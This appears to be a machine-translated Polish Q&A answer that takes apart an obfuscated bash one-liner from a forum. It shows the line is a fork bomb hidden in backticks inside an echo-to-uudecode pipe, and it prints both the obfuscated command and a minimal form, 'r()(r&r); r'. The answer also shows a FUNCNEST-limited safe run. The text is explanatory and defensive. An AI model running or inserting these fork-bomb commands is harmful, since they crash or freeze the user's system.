Najpierw spójrzmy na całe polecenie:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Zawiera ciąg cudzysłowu, do którego echo uudecode
. Zauważ jednak, że w ciągu podwójnego cudzysłowu znajduje się ciąg cudzysłowu . Ten ciąg zostanie wykonany . Ciąg jest:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Jeśli spojrzymy na zawartość, zobaczymy trzy polecenia:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Wykonując rozwinięcie nawiasu środkowego polecenia, mamy:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
Pierwszy wiersz próbuje uruchomić komendę nonsensowną w tle. To nie jest ważne.
Drugi wiersz jest ważny: definiuje funkcję, r
która po uruchomieniu uruchamia dwie kopie siebie. Każda z tych kopii oczywiście uruchomiłaby jeszcze dwie kopie. I tak dalej.
Trzecia linia biegnie r
, rozpoczynając bombę widelca.
Reszta kodu, poza ciągiem cytowanym z tyłu, jest po prostu bzdurą dla zaciemnienia.
Jak bezpiecznie uruchomić polecenie
Kod ten można uruchomić bezpiecznie, jeśli ustawimy limit poziomu zagnieżdżenia funkcji. Można to zrobić za pomocą FUNCNEST
zmiennej bash . Tutaj ustawiamy to na, 2
a to zatrzymuje rekurencję:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Komunikaty o błędach powyżej pokazują, że (a) polecenia nonsensowne rYWdl
i Y29j
nie zostaną znalezione, (b) widelec bomba dostaje wielokrotnie przerywane przez FUNCNEST, oraz (c) wyjścia echo
nie uruchamia się begin
, a tym samym nie jest ważny wejście do uudecode
.
Widelec bomba w najprostszej formie
Jak wyglądałaby bomba widelcowa, gdybyśmy usunęli zaciemnienie? Jak sugerują njzk2 i gerrit, wyglądałoby to tak:
echo "`r()(r&r);r`"
Możemy to jeszcze bardziej uprościć:
r()(r&r); r
Składa się z dwóch instrukcji: jedna określa funkcję wideł-bomby, r
a druga przebiega r
.
Cały pozostały kod, łącznie z potokiem do uudecode
, służył jedynie zaciemnieniu i błędnemu przekierowaniu.
Oryginalna forma miała jeszcze jedną warstwę błędnego ukierunkowania
PO dostarczył link do dyskusji na forum kanału, na której pojawił się ten kod. Jak tam przedstawiono, kod wyglądał następująco:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Zwróć uwagę na jeden z pierwszych komentarzy na temat tego kodu:
Zakochałem się w tym. Skopiowałem tylko część, która odbija się echem i dekoduje, ale wciąż została rozbita na widelec
W formie na tablicy kanałów naiwnie można by pomyśleć, że problemem byłoby eval
stwierdzenie działające na wyjściu uudecode
. Doprowadziłoby to do wniosku, że usunięcie eval
go rozwiązałoby problem. Jak widzieliśmy powyżej, jest to fałszywe i niebezpieczne.